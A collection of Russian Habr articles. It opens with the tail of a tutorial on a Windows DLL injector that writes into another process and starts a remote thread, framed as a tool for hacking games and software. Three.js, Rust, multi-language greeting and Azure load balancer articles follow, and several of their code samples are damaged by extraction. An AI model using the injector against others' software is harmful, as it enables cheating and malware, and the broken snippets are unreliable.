LPVOID alloc = (LPVOID)VirtualAllocEx(process,0,strlen(_dll_name), MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
if(alloc==NULL) return false;
// Запись имени инжектируемой DLL в память
BOOL w = WriteProcessMemory(process,(LPVOID)alloc,_dll_name,strlen(_dll_name),0);
if(w==NULL) return false;
// Создание "удаленного" потока в адресном пространстве
// открытого процесса и последующая подгрузка нашей DLL.
HANDLE thread = CreateRemoteThread(process,0,0,(LPTHREAD_START_ROUTINE)fp,(LPVOID)alloc,0,0);
if(thread==NULL) return false;
CloseHandle(process);
return true;
}
```
Полный код инжектора можно посмотреть [**здесь**](https://github.com/AsenOsen/Inj/blob/master/Injector.cpp).
Тестируем работоспособность инжектора:
Сначала инжектимся «сами в себя». При клике на кнопку «Draw» происходит рисование 10 квадратов. При клике на «Crash it!» происходит немедленное завершение «родительского» процесса. Теперь попробуем инжектиться во что-нибудь посерьезнее, например, в браузер Mozilla Firefox. Для этого необходимо поменять лишь имя процесса в первом текстовом поле и нажать на кнопку:
Как видно, инжект успешно удался. Квадраты рисуются во всех окнах, принадлежащих родительскому процессу браузера. При нажатии на кнопку «Crash it!» Mozilla FireFox немедленно закрывается.
**##### Outro**
Для чего нам это вообще нужно? Ведь наша основная цель — это взлом( игр, софта ). Так вот в дальнейшем мы, наверняка, будем использовать этот инжектор для внедрения своего кода в чужое адресное пространство. Благодаря этому можно сэкономить немало времени, сил и нервов :)
**Удачи!** | https://habr.com/ru/post/168255/ | null | ru | null |
# Трёхмерный фон для сайта в реальном времени на JavaScript при помощи three.js
*Обучающий материал с ресурса Phyramid, у которых именно такая шапка сайта.*
Обновив в 2014 свой сайт, мы сделали трёхмерный фон в шапке, состоящий из геометрических фигур в 3D Max. Но потом мы подумали, что было бы гораздо круче генерить его в реальном времени на JS. Сказано – сделано, и при помощи замечательного фреймворка three.js мы сделали простенькую сценку. И вот, как это было.
Замечание по стилю кода: мы сначала хотели использовать только функциональный стиль, но из-за особенностей веба и работы алгоритма переключились на ООП.
#### Создаём поверхность
Первым шагом было создание основной части сцены. Для этого мы создали плоскость с сегментами 100х100, и потом сместили вершины случайным образом. Важный момент – необходимо задать geometry.dynamic = true и geometry.normalsNeedUpdate = true, чтобы three.js знал, что вершины поменяются и что ему надо будет пересчитать освещение.
```
var makePlaneGeometry = function(width, height, widthSegments, heightSegments) {
var geometry = new THREE.PlaneGeometry(width, height, widthSegments, heightSegments);
var X_OFFSET_DAMPEN = 0.5;
var Y_OFFSET_DAMPEN = 0.1;
var Z_OFFSET_DAMPEN = 0.1;
var randSign = function() { return (Math.random() > 0.5) ? 1 : -1; };
for (var vertIndex = 0; vertIndex < geometry.vertices.length; vertIndex++) {
geometry.vertices[vertIndex].x += Math.random() / X_OFFSET_DAMPEN * randSign();
geometry.vertices[vertIndex].y += Math.random() / Y_OFFSET_DAMPEN * randSign();
geometry.vertices[vertIndex].z += Math.random() / Z_OFFSET_DAMPEN * randSign();
}
geometry.dynamic = true;
geometry.computeFaceNormals();
geometry.computeVertexNormals();
geometry.normalsNeedUpdate = true;
return geometry;
};
var makePlane = function(geometry) {
var material = new THREE.MeshBasicMaterial({color: 0x00576b, wireframe: true});
var plane = new THREE.Mesh(geometry, material);
return plane;
};
var init = function(container, viewWidth, viewHeight) {
var scene = makeScene();
// (...)
var plane = makePlane(makePlaneGeometry(400, 400, 100, 100));
scene.add(plane);
// (...)
};
```
#### Играемся с каркасом
Простой материал для каркаса помог визуализации модели:
```
var material = new THREE.MeshBasicMaterial({color: 0x00576b, wireframe: true});
```
TrackballControls.js был использован для перемещения по сцене. И вот, что у нас в результате получилось:
Круто, но ещё не отполировано. Добавим настоящий материал и свет.
#### Добавление материала и света
Для достижения нужного внешнего вида потребовалась модель затенения ambient occlusion. Кроме того, нужно сделать видимыми рёбра модели без сглаживания. Поэтому материал lambert с плоским затенением подошёл идеально:
```
var material = new THREE.MeshLambertMaterial({color: 0xffffff, shading: THREE.FlatShading});
```
Использовалось два источника света. Первый – ambient, был размещён для равномерного освещения. Второй, направленный, создавал все эти крутые тени, которые придают модели полигональный вид.
```
var makeLights = function() {
var ambientLight = new THREE.AmbientLight(0x1a1a1a);
this.scene.add(ambientLight);
var dirLight = new THREE.DirectionalLight(0xdfe8ef, 0.09);
dirLight.position.set(5, 2, 1);
this.scene.add(dirLight);
};
```
#### Размещение камеры
Мы хотели разместить камеру, смотрящую на плоскость примерно с угла в 45 градусов, что довольно просто. Поигравшись с камерой, мы выбрали угол в 75 градусов, который даёт эффект наблюдения «с вершины горы».
```
var camera = new THREE.PerspectiveCamera(fov, aspectRatio, 0.1, 1000);
camera.up = new THREE.Vector3(0, 1, 0);
camera.rotation.x = 75 * Math.PI / 180;
camera.position.z = zPos;
```
Поле зрения доставило проблем, потому что на широких холстах сцена смотрелась странно, примерно как при настройке FOV в Quake на 180 градусов. Мы написали код для грубого подсчёта FOV на основании разрешения экрана.
#### Дымка и alpha-blending
Картинка уже начинает напоминать нашу цель, но есть одна проблема. Чётко видны границы плоскости. Вот яркий пример этого, с камерой, смотрящей вниз.
Сначала мы хотели преобразовать плоскость в сферу, а камеру разместить внутри сферы, в центре. Подход вроде бы решал проблему, но поверхность уже выглядела не так, и собиралась в складки на полюсах.
Решением было добавить экспоненциальную дымку, которая получилась очень круто. После включения альфа-блендинга, дымка плавно переходила в фон заставки и давала крутой эффект.
```
var renderer = new THREE.WebGLRenderer({antialiasing: true, alpha: true});
(...)
scene.fog = new THREE.FogExp2(0x222228, 0.003);
```
Вот картинка с усиленным эффектом дымки:
#### Интерактивность (часть первая – мышь)
Наконец, сцена начала выглядеть правильно, но управление ещё было неидеальным. TrackballControls позволяет свободно двигаться по сцене, но нам надо было разрешить только повороты относительно оси Z. Мы решили написать управление с нуля, основываясь на демке с вращающимся кубом от three.js
Когда пользователь двигает мышью, необходимо выключать авторотацию, и запоминать дистанцию, на которую была подвинута мышь, чтобы добавить её к повороту вокруг Z в следующем кадре.
```
var registerMouseMove = function(event) {
this.autorotation = false;
var mouseXOnMouseMove = event.clientX - (this.width / 2);
var MOUSE_MOVE_DAMPENING = 0.0075;
this.targetRotation = this.targetRotationOnMouseDown +
(mouseXOnMouseMove - this.mouseXOnMouseDown) *
MOUSE_MOVE_DAMPENING;
};
```
Также необходим обработчик нажатий, чтобы перемещения были зарегистрированы только, если пользователь зажал кнопку мыши (и запомнить первоначальное расположение мыши для подсчёта дистанции).
```
var registerMouseDown = function(event) {
startMouseMovementDetection();
this.mouseXOnMouseDown = event.clientX - (this.width / 2);
this.targetRotationOnMouseDown = this.targetRotation;
};
```
Всё, что остаётся – сделать сам поворот.
```
if (this.autorotation) {
this.object.rotation.z += OBJECT_AUTOROTATION_AMOUNT;
} else {
this.object.rotation.z -= (this.targetRotation + this.object.rotation.z) *
TARGET_ROTATION_DAMPENING;
}
```
Мы добавили ещё ограничение на движение – если объект двигают слишком медленно, мы считаем, что это шум или остаточные явления с последнего протаскивания, поэтому мы возвращаем метод поворота в состояние авторотации.
```
if (Math.abs(this.targetRotation + this.object.rotation.z) < OBJECT_ROTATION_THRESHOLD) {
this.autorotation = true;
}
```
Интерактивность (часть вторая – касания)
Почти закончили! Ешё нам нужно сделать управление при помощи касаний. Работает примерно так же, как управление мышью.
```
var registerTouchDown = function(event) {
if (event.touches.length === 1) {
this.mouseXOnMouseDown = event.touches[0].pageX - (this.width / 2);
this.mouseYOnMouseDown = event.touches[0].pageY - (this.height / 2);
this.targetRotationOnMouseDown = this.targetRotation;
}
}
```
Но есть проблема. На устройствах с сенсорным экраном жест, отвечающий за перемещение сцены, также отвечает и за прокрутку страницы. Это плохо влияло на управляемость, потому что практически мы отключали прокрутку.
Из-за этого нам пришлось проверять направление протаскивания. Если оно по большей части горизонтальное, тогда мы вращаем плоскость. Если преимущественно вертикальное, мы ничего не делали и разрешали случаться событиям по умолчанию.
```
function registerTouchMove(event) {
if (event.touches.length === 1) {
var MOUSE_MOVE_DAMPENING = 0.01;
this.autorotation = false;
var mouseXOnMouseMove = event.touches[0].pageX - (this.width / 2);
var mouseYOnMouseMove = event.touches[0].pageY - (this.height / 2);
var xDiff = mouseXOnMouseMove - this.mouseXOnMouseDown;
var yDiff = mouseYOnMouseMove - this.mouseYOnMouseDown;
if (Math.abs(xDiff) > Math.abs(yDiff)) {
event.preventDefault();
this.targetRotation = this.targetRotationOnMouseDown + xDiff * MOUSE_MOVE_DAMPENING;
}
}
}
```
#### Обновление разрешения при изменении размера
Последнее по очереди, но не по значимости – возможность динамически обновлять всю картинку при изменении размера окна браузера.
```
var updateDimensions = function() {
this.width = this.container.offsetWidth;
this.height = this.container.offsetHeight;
var aspectRatio = this.width / this.height;
var fov = fovForAspectRatio(aspectRatio);
var zPos = cameraZPositionForFov(fov);
this.camera.aspect = aspectRatio;
this.camera.fov = fov;
this.camera.position.z = zPos;
this.camera.updateProjectionMatrix();
this.renderer.setSize(this.width, this.height);
};
```
#### Результаты
Готово! Вот, как оно выходит при просмотре на весь экран (у нас полноэкранный просмотр выдаётся на странице 404). [Живой пример](http://www.phyramid.com/).
Создание трёхмерного заголовка было очень увлекательным занятием, и мы впечатлены мощью three.js. Надеемся, что эта статья поможет вам создавать похожие вещи. | https://habr.com/ru/post/247811/ | null | ru | null |
# В Rust 1.0 исключений не будет
Сегодня Аарон Тюрон — разработчик, недавно присоединившийся к разработке Rust в Mozilla — [объявил](https://github.com/rust-lang/rfcs/pull/243#issuecomment-61559683) об отсрочке реализации какого-либо механизма исключений, кроме уже существующего макроса `try!` и типа `Result`, до неопределённого момента *после* первого релиза языка программирования Rust.
Это означает, что в Rust 1.0 будут отсутствовать исключения первого класса — то есть, полностью интегрированные с другими фичами языка.
Для обработки ошибок в данной момент в Rust существует тип `Result { Ok(value), Err(why) }` и макрос `try!`. Тип `Result` представляет из себя перечисление (enum), похожее на `Option { Some(value), None }` и связанное с ним по смыслу. Вариант `None` типа `Option` говорит об отстутствии значения, а вариант `Err(why)` типа `Result` уточняет, почему значение отсутствует.
Rust предлагает возвращать тип `Result` из функций, чтобы передавать значение возврата *или* причину, по которой значение вернуть не удалось. Макрос `try!` в свою очередь позволяет автоматически возвращать `Err(why)` из текущей функции, если вызов другой функции не удался (применяется к объекту типа `Result`).
Вот так это выглядит в коде:
```
enum MathError {
DivisionByZero
}
// функция, не всегда завершающаяся успешно
fn div(x: f64, y: f64) -> Result {
if y == 0.0 {
Err(DivisionByZero) // возвращаем ошибку
} else {
Ok(x / y)
}
}
// пример ручного раскрытия Result
fn div\_user() -> () {
match div(1.0, 0.0) {
Err(why) => /\* обработки ошибки, why имеет тип MathError \*/
Ok(result) => /\* успешный результат в переменной result типа f64 \*/
}
}
// пример автоматического возврата ошибок из функции
fn error\_proxy() -> Result {
let result1 = try!(div(1.0, 0.0));
let result2 = try!(div(1.0, result1));
div(1, result2);
}
```
На этом возможности Rust в плане обработке ошибок, по-сути, заканчиваются.
Rust — низкоуровневый язык программирования с мощной системой статического анализа. Например, статический анализ в Rust не допускает неосторожную работу с памятью. Узнать больше о Rust можно на [официальном сайте](http://www.rust-lang.org/), а посмотреть примеры кода с разбором можно, например, на [rustbyexample.com](http://rustbyexample.com): [Option](http://rustbyexample.com/option.html), [Result](http://rustbyexample.com/result.html), [try!](http://rustbyexample.com/result/try.html). Язык разрабатывается некоммерческой организацией Mozilla, а релиз Rust 1.0 намечен на начало 2015 года. | https://habr.com/ru/post/242269/ | null | ru | null |
# Поздравление с Новым 2012 годом на 150 языках
Уважаемые Хабравчане!
Поздравляю вас с наступающим новым годом! Желаю Вам творческих успехов, карьерного, интеллектуального и духовного роста!
Хочу сделать вам небольшой подарок: поздравления с новым годом на более чем 150 языках программирования!
#### А+
````
a Happy New Year in A+
‘Happy New Year’
````
#### ABAP
````
Report Happy_New_Year.
Write: "Happy New Year".
````
#### ABC
````
WRITE “Happy New Year”
````
#### ADA
````
-- Happy New Year
with Text_IO;
use Text_IO;
procedure HappyNewYear is
begin
Put_Line("Happy New Year");
end HappyNewYear;
````
#### Alep
````
# Happy New Year in Aleph
println "Happy New Year"
````
#### Algae
````
printf("Happy New Year\n");
````
#### ALGOL
````
'begin'
outstring(2, 'Happy New Year');
'end'
````
#### Amos
````
PRINT "Happy New Year"
````
#### APL
````
‘Happy New Year’
````
#### ASP (Active Server Page)
````
<%@ language="javascript" %>
<%
Response.Write('Happy New Year!');
%>
````
#### ASSEMBLER (Intel 80x86; DOS,MASM)
````
.MODEL tiny
.CODE
ORG 100h
HAPPY PROC
MOV AH,09h
LEA DX,msg
INT 21h ;Display Happy New Year
MOV AX,4C00h ;Exit to DOS
INT 21h
HAPPY ENDP
msg DB 'Happy New Year$'
END HAPPY
````
#### awk
````
BEGIN {
print "Happy New Year"
}
````
#### BASIC
````
PRINT "Happy New Year"
````
#### BCPL
````
GET "LIBHDR"
LET START () BE
$(
WRITES ("Happy New Year!*N")
$)
````
#### BETA
````
(#
do
'Happy New Year' -> putline
#)
````
#### Blue
````
class HappyNewYear is
==
== HappyNewYear-Klasse
==
interface
creation is
== Erzeugt das HappyNewYear-Objekt
do
printIt
end creation
routines
printIt is
== prints Happy New Year
do
print("Happy New Year\n")
end printIt
end class
````
#### Brain
````
#! this is also a single line comment
{- and a multi-liine
comment. -}
"Happy New Year" println.
````
#### C
#include
````
main() {
printf("Happy New Year\n");
}
````
#### C#
````
using System;
class HappyNewYear {
static void Main() {
Console.WriteLine("Happy New Year");
}
}
````
#### C++
````
#include
int main(){
std::cout<<"Happy new year!"<
````
#### Click
````
#include
cilk void main()
{
printf("Happy New Year\n");
}
````
#### CLAIRE
````
[ main() -> printf("Happy New Year\n") ]
````
#### Clipper
````
? "Happy New Year"
quit
````
#### COBOL
````
IDENTIFICATION DIVISION.
PROGRAM-ID. HappyNewYear.
AUTHOR. Fabritius.
ENVIRONMENT DIVISION.
CONFIGURATION SECTION.
INPUT-OUTPUT SECTION.
DATA DIVISION.
FILE SECTION.
WORKING-STORAGE SECTION.
LINKAGE SECTION.
PROCEDURE DIVISION.
DISPLAY "Happy New Year".
STOP RUN.
````
#### Concirrent Clean
````
module HappyNewYear
import StdEnv
Start :: String
Start = "Happy New Year"
````
#### Cook
````
[print "Happy New Year"];
````
#### COSY INFINITY
````
BEGIN ;
WRITE 6 'Happy New Year' ; { 6 ist Stdout }
END ;
````
#### C-Talk
````
cout << "Happy New Year\n";
````
#### Curl
````
{curl 1.7 applet}
{applet license = "personal"}
Happy New Year
````
#### Cyclon
````
#include
int main() {
printf("Happy New Year\n");
return 0;
}
````
#### Dbase
````
? "Happy New Year"
return
````
#### DOS Batch
````
@ECHO OFF
ECHO Happy New Year
Dylan
define method Happy-New-Year()
format-out("Happy New Year\n");
end method Happy-New-Year;
Happy-New-Year();
````
#### E
````
println( "Happy New Year" )
````
#### Eiffel
````
indexing
title: "Happy New Year";
author: "rgen3";
class MAIN creation
make
feature
make is
do
io.put_string("Happy New Year");
io.new_line
end -- make
end -- class MAIN
````
#### Emerald
````
const HappyNewYear ==
object HappyNewYear
process
stdout.putstring["Happy New Year\n"]
stdin.close
stdout.close
end process
end HappyNewYear
````
#### Erlang
````
io:fwrite("Happy New Year~n"). %% im Eingabemodus
````
#### Euphoria
````
puts (1, "Happy New Year\n")
````
#### FISh
````
output "Happy New Year" ;;
````
#### FOP
````
.box
Happy New Year !!!
.ende
````
#### Forth
````
." Happy New Year"
````
`Fortran`
````
PROGRAM HappyNewYear
PRINT *, "Happy New Year"
END PROGRAM HappyNewYear
````
#### FOX
````
? "Happy New Year"
return
````
#### Gofer
````
show "Happy New Year"
````
#### Haskell
````
-- file: Main.hs
-- compile: ghc --make Main -o main
module Main (main) where
main = putStr "Happy New Year\n"
````
#### HB (Hyper Builder)
````
# definiere ein Objekt HappyNewYear
:set HappyNewYear
**HappyNewYear**
:
# definiert das Startobjekt, welches man mittels URL aufrufen kann
:out main
````
#### Hope
````
"Happy New Year\n";
````
#### HTML
````
Happy New Year
Happy New Year
````
#### IBM EXEC
````
&CONTROL
*
&TYPE Happy New Year!
*
&EXIT 0
#### Icon
````
````
procedure main(args)
write("Happy New Year\n")
end
````
#### J
````
'Happy New Year'
````
#### Java (Applet)
````
import java.applet.*;
import java.awt.*;
public class HappyNewYear extends Applet {
public void paint(Graphics g) {
g.drawString("Happy New Year",10,10);
}
````
#### JavaScript
````
Javascript Happy New Year
document.write("Happy New Year!");
````
#### K
````
` 0:"Happy New Year\n"
````
#### LaTeX
````
\documentclass[a4paper]{report}
\title{Happy New Year in LaTeX}
\begin{document}
Happy New Year
\end{document}
````
#### Leda
````
include "std.led";
begin
print("Happy New Year");
end;
````
#### LIRL
````
print "Happy New Year"
````
#### Lisp
````
(print "Happy New Year")
````
#### Logo
````
print [Happy New Year]
````
#### Lout
````
@SysInclude {doc}
@Doc @Text @Begin
Happy New Year
@End @Text
````
#### Lua
````
print("Happy New Year\n")
````
#### Make
````
main-target:
@echo "Happy New Year"
````
#### Mercury
````
% compile with:
% mmake Happy.depend
% mmake Happy
:- module Happy.
:- interface.
:- import_module io.
% di=desctructive input, uo=unique output
:- pred main(io__state::di, io__state::uo) is det.
:- implementation.
% "-->" tells that we are using DCG (definite clause grammar), which frees us
% from threading some extra arguments through the code.
main --> io__write_string("Happy New Year\n").
````
#### merd
````
"Happy New Year!".println
````
#### Miranda
````
"Happy New Year!"
````
#### Moby
````
module Main {
val () = ConsoleIO.print "Happy New Year\n"
}
````
#### Modula
````
MODULE HappyNewYear;
FROM InOut IMPORT WriteString, WriteLn;
BEGIN
WriteString('Happy New Year');
WriteLn;
END HappyNewYear.
````
#### MUMPS
````
HAPPY W "Happy New Year",!
Q
````
#### NESL
````
print_string("Happy New Year\n");
````
#### Oberon
````
MODULE HappyNewYear;
IMPORT Out;
BEGIN
Out.Open;
Out.String('Happy New Year');
END HappyNewYear.
````
#### Objective-C
````
void main()
{
printf("Happy New Year\n");
}
````
#### Objective Calm
````
print_string("Happy New Year\n");;
````
#### Obliq
````
sys_printText("Happy New Year\n");
````
#### Octave
````
printf("Happy New Year\n")
````
#### Oz/Mozart
````
% Happy New Year!!!
{Show 'Happy New Year'}
````
#### Parrot
````
print "Happy New Year\n"
````
#### Pascal
````
PROGRAM HappyNewYear;
BEGIN
WRITELN('Happy New Year');
END.
````
#### Perl
````
print "Happy New Year\n";
````
#### Phantom
````
(* Happy New Year! *)
module HappyNewYear;
import stdio;
begin
stdio.puts("Happy New Year\n");
end HappyNewYear.
````
#### PHP
````
php
echo "Happy New Year\n";
?
````
#### Pico
````
{
"da es in Pico keine Kommentare gibt,";
"verwende ich einfach Strings.";
display('Happy New Year', eoln)
}
````
#### Pike
````
void main()
{
write("Happy New Year\n");
}
````
#### PL/0E
````
PROGRAM HappyNewYear;
BEGIN
WRITELN('Happy New Year');
END.
````
#### PL/1
````
HAPPY: PROCEDURE OPTIONS (MAIN);
PUT SKIP LIST('HAPPY NEW YEAR!');
END HAPPY;
````
#### PL/SQL
````
BEGIN
DBMS_OUTPUT.put_line('Happy New Year');
END;
````
#### Pliant
````
console "Happy New Year" eol
````
#### Posrscript
````
% Happy New Year
/Courier findfont
28 scalefont
setfont
0 0 moveto
(Happy New Year) show % Text links unten ausgeben
showpage
````
#### Profan
````
PRINT "Happy New Year"
````
#### Prolog
````
?- write('Happy New Year'), nl.
````
#### Python
````
print "Happy New Year"
````
#### R
````
print("Happy New Year")
````
#### Rebol
````
[Title: "Happy New Year"
Date: 1-Jan-2012
File: %webscan.r
Author: "Rgen3"
Version: 1.2.3
print "Happy New Year"]
````
#### REXX
````
SAY "Happy New Year"
````
#### Ruby
````
"Happy New Year\n".display
````
#### Sather
````
class MAIN is
main is
#OUT + "Happy New Year\n";
end; -- main
end; -- class MAIN
````
#### Sceme
````
(display "Happy New Year")
````
#### Shell-Sprachen
````
echo Happy New Year
````
#### Simula
````
begin
OutText("Happy New Year");
OutImage
end
````
#### Sina
````
class HappyNewYear interface
methods
show returns nil;
inputfilters
disp: Dispatch = {inner.*};
end;
class HappyNewYear implementation
methods
show
begin
self.printLine('Happy New Year');
end;
end;
main
temps
Happy: HappyNewYear;
begin
Happy.show
end
````
#### Sirius
````
PROGRAM Happy_New_Year
OUTPUT ('Happy New Year')
END
````
#### Sisal
````
define main
function main(returns array [Character])
"Happy New Year"
end function
````
#### Smalltalk
````
'Happy New Year' out.
````
#### SML
````
print "Happy New Year\n";
````
#### SNOBOL
````
OUTPUT = 'Happy New Year'
END
````
#### SQL
````
SELECT 'Happy New Year'
````
#### Superbase
````
? "Happy New Year!"
````
#### Tcl
````
puts "Happy New Year"
TI-83 Graphing Calculator
:Disp "Happy New Year"
````
#### TOM
````
implementation class HappyNewYear
int main Array argv
{
[[[stdio out] print "Happy New Year"] nl];
return 0;
}
end;
implementation instance HappyNewYear end;
````
#### Turing
````
put "Happy New Year"
````
#### TXL
````
define program
[repeat token]
end define
% Main transformation rule - whatever the input,
% transform it into Happy New Year
function main
replace [program]
_ [program]
by
"Happy New Year"
end function
````
#### UFO
````
main : String is
"Happy New Year\n"
````
#### VHDL
````
ENTITY HappyNewYear IS
END HappyNewYear;
ARCHITECTURE bhv OF HappyNewYear IS
BEGIN
ASSERT FALSE
REPORT "HAPPY NEW YEAR"
SEVERITY NOTE;
END bhv;
````
#### Vim
````
:echo "Happy New Year"
````
#### WebL
````
PrintLn("Happy New Year");
````
#### WML (Wireless Markup Language)
````
xml version="1.0"?
Happy New Year
````
#### XPL0
````
code Text=12;
Text(0, "Happy New Year");
````
#### Yacas
````
WriteString("Happy New Year");
````
#### YAFL
````
DEFINITION MODULE HappyNewYear;
CLASS HappyClass;
METHOD CREATE;
METHOD Main;
END HappyClass;
END HappyNewYear;
IMPLEMENTATION MODULE HappyNewYear;
FROM Streams IMPORT StdOut;
CLASS HappyClass;
METHOD CREATE;
BEGIN
-- wird aufgerufen um das Objekt zu initialisieren
Main;
END;
METHOD Main;
BEGIN
StdOut.WriteLine ("Happy New Year");
END Main;
END HappyClass;
END HappyNewYear;
````
#### Yoix
````
import yoix.stdio.*;
printf("Happy New Year\n");
````
#### Yorick
````
write, "Happy New Year\n"
```` | https://habr.com/ru/post/135212/ | null | ru | null |
# Балансировщики нагрузки в Microsoft Azure
Microsoft Azure предлагает сервис балансировки нагрузки для виртуальных машин (IaaS) и облачных служб (PaaS), запущенных в облаке Microsoft Azure. Помимо прочих достоинств, балансировка нагрузки позволяет масштабировать ваши приложения и дает возможность мягче реагировать при возникновении ошибки или отказа.
Службы балансировки нагрузки могут быть задействованы как с помощью настроек на [портале управления Microsoft Azure](http://manage.windowsazure.com), так и с помощью [сервис-модели](http://msdn.microsoft.com/en-us/library/windowsazure/ee758711.aspx) вашего приложения. Как только размещаемая служба с одной или несколькими конечными точками публикуется в облако, она автоматически настраивается на использование балансировщика нагрузки, предоставляемого платформой Microsoft Azure. Чтобы получить все плюсы эластичности и масштабируемости вам необходимо иметь хотя бы две виртуальных машины, настроенных на одну и ту же конечную точку.
Диаграмма на рисунке ниже показывает пример приложения, расположенного в Microsoft Azure, которая использует балансировщик нагрузки для адресации входящего трафика (по адресу/порту 1.2.3.4:80) на три виртуальных машины, слушающих 80й порт (кликабельно).
[](http://habrastorage.org/files/47b/b48/b12/47bb48b12c324fa883020def65c22ec4.png)
Далее перечислены основные возможности балансировщика нагрузки в Microsoft Azure
#### Поддержка IaaS / PaaS
Балансировка нагрузки работает со всеми типами сервисов (IaaS и PaaS) и со всеми операционными системами (Windows или любой Linux-дистрибутив).
Приложения в PaaS конфигурируются с помощью [сервис-модели](http://msdn.microsoft.com/en-us/library/windowsazure/ee758711.aspx). Виртуальные машины IaaS [настраиваются](http://www.windowsazure.com/en-us/documentation/articles/virtual-machines-set-up-endpoints/) либо через портал управления, либо с помощью PowerShell.
#### Балансировщик Layer-4, распределение по хешу
Балансировщик нагрузки в Microsoft Azure имеет тип Layer-4. Это значит, что он распределяет нагрузку между всеми доступными виртуальными машинами путем вычисления хеш функции от трафика, поступившего на данную конечную точку. Эта хеш функция вычисляется таким образом, что все пакеты, поступившие в рамках одного соединения (TCP или UDP) направляются на один и тот же сервер. Балансировщик Microsoft Azure использует набор из 5 полей (IP адрес источника, порт источника, IP адрес назначения, порт назначения, тип протокола) для вычисления хеша, используемого при сопоставлении траффика и доступного сервера. К тому же хеш функция подбиралась таким образом, чтобы распределения соединений к серверам были достаточно случайными. Однако, в зависимости от типа траффика, допустимо, что разные соединения будут привязаны к одному и тому же серверу. (Также нужно заметить, что распределение соединений к серверам **НЕ** являются round-robin, а также **НЕТ** никакой очереди запросов, как было иногда написано ранее в некоторых статьях и блогах). Базовая хеш-функция позволяет получить неплохое распределение запросов при достаточно большом их количестве из разных источников.
#### Поддержка нескольких протоколов
Служба балансировки нагрузки в Microsoft Azure поддерживает протоколы TCP и UDP. Клиенты могут указать тип протокола при настройке входящих конечных точек в сервис-модели, с помощью PowerShell или на портале управления.
#### Поддержка нескольких конечных точек
Размещенная в облаке служба может указать несколько входящих конечных точек и они автоматически будут настроены в сервисе балансировщика нагрузки.
На текущий момент несколько конечных точек, у которых совпадают порт **и** протокол не поддерживаются. Также есть ограничение на максимально доступное количество конечных точек, которых сейчас может быть до 150 штук.
#### Поддержка внутренних конечных точек
Каждый сервис может указать до 25 конечных точек, которые не будут участвовать в балансировке. Такие точки можно использовать для внутренней коммуникации между сервисами.
#### Поддержка прямых конечных точек
Размещаемая служба может указать, что данная конечная точка должна иметь [прямой доступ](http://msdn.microsoft.com/en-us/library/windowsazure/hh180158.aspx) к виртуальной машине извне в обход балансировщика. Это позволит приложению управлять возможным перенаправлением пользователя напрямую к виртуальной машине, не пользуясь услугами балансировщкиа (а как следствие вероятность попадания запросов на разные узлы).
#### Автоматическое изменение конфигурации при масштабировании вверх/вниз, обновлении и профилактики сервиса
Балансировщик нагрузки работает в связке с Microsoft Azure Compute Service, чтобы быть уверенным в том, что если количество серверов для конечных точек масштабируется вверх/вниз (либо при повышении количества экземпляров для веб или рабочей роли либо при добавлении новых виртуальных машин в одну группу балансировки), балансировщик автоматически перенастраивает себя под эти изменения.
Балансировщик нагрузки также незаметно изменяет свои настройки в ответ на [профилактические действия](http://blogs.technet.com/b/markrussinovich/archive/2012/08/22/3515679.aspx) fabric-контроллера или служебные обновления клиента.
#### Мониторинг
Балансировщик нагрузки Microsoft Azure предоставляет возможность мониторинга работоспособности различных сервисных экземпляров и удаления нездоровых экземпляров из ротации балансировки. Есть три типа проверок: проверка Guest Agent (для PaaS), HTTP проверки и TCP проверки. В случае [Guest Agent](http://blogs.msdn.com/b/kwill/archive/2011/05/05/windows-azure-role-architecture.aspx), служба балансировщика запускает специального агента на соответствующей виртуальной машине для получения статуса сервиса. В случае HTTP теста балансировщик нагрузки полагается на опрос заданного URL для определения жизнеспособности приложения. Если выбран TCP тест, то балансировщик полагается на результат установки TCP соединения по определенному порту.
#### Source NAT
Весь обратный трафик, исходящий из сервиса, является Source NAT (SNAT), используя тот же самой виртуальный IP-адрес, что и для входящего трафика. Мы расскажем о SNAT подробнее в следующих записях.
#### Оптимизация трафика в пределах ЦОД
Балансировщик нагрузки Microsoft Azure оптимизирует трафик между ЦОД в одном регионе таким образом, что размещения, которые общаются между собой через виртуальный IP-адрес (VIP) и находятся в одном регионе, после установления TCP/IP соединения, вместе проходят через балансировщик нагрузки.
#### Обмен виртуальным IP-адресом
Балансировщик нагрузки Microsoft Azure позволяет менять VIP двух узлов, перемещая один узел из тестового состояния в продуктив и наоборот. Операция смены VIP позволяет клиентам использовать один VIP для общения с сервисом, в то время, как новая версия сервиса находится в процессе размещения (deploy). Новая версия может быть размещена и протестирована без влияния на основное приложение, в тестовом окружении. Как только новая версия пройдет все проверки, она может быть введена в промышленную эксплуатацию путем «отбора» VIP у текущей виртуальной машины и присвоения его новой. При этом все текущие соединения к старой машине остаются нетронутыми, а новые соединения направляются на «новый» сервер.
#### Пример: сервис балансировки нагрузки
Далее мы посмотрим, как большинство из описанного выше могут быть использованы в облачной службе. Модель PaaS окружения, которое хотим получить, изображено ниже:
[](http://habrastorage.org/files/769/259/9b8/7692599b815741b8bd0a8d177088fc7a.png)
Данное решение имеет две роли Frontend (FE) и одну роль Backend (BE). Роль FE открывает четыре балансированные конечные точки используя протоколы http, tcp и udp. Одна из точек также используется для мониторинга производительности. Роль BE открывает три конечные точки с протоколами http, tcp и udp. ОБе роли (FE и BE) имеют по одной прямой конечной точке на соответствующий экземпляр сервиса.
Сервис, описанные ниже, конфигурируется с помощью [сервис-модели](http://msdn.microsoft.com/en-us/library/windowsazure/ee758711.aspx) (некоторые особенности схемы были удалены для удобства чтения)
```
```
Рассмотрим данную модель. Мы начинаем с того, что определяем тип тестирования производительности, который должен использовать балансировщик для проверки работоспособности сервиса:
```
```
Здесь сказано, что мы хотим использовать тестирование через HTTP, используя относительный путь «Probe.aspx». Данный тест будет позднее подключен к конечной точке.
Затем мы определяем роль EF как WorkerRole. Она имеет несколько конечных точек (http, tcp, udp)
```
```
До тех пор, пока мы не настроили собственный мониторинг производительности, тестирование на работоспособность производится с помощью гостевого агента и может быть изменен сервисом с помощью события [StatusCheck](http://msdn.microsoft.com/en-us/library/microsoft.windowsazure.serviceruntime.roleenvironment.statuscheck.aspx).
Затем мы определяем дополнительную конечную точку для 80го порта, который использует собственный тест (MyProbe)
```
```
Балансировщик нагрузки комбинирует информацию о конечной точке и о тестировании, чтобы получить URL вида http://{DIP of VM}:80/Probe.aspx, который затем будет использоваться при тестировании работоспособности сервиса. Сервис будет понимать (по логам ?), что один и тот же IP-адрес периодически обращается к нему. Это и есть запросы о состоянии, поступающие от узла, где размещена виртуальная машина.
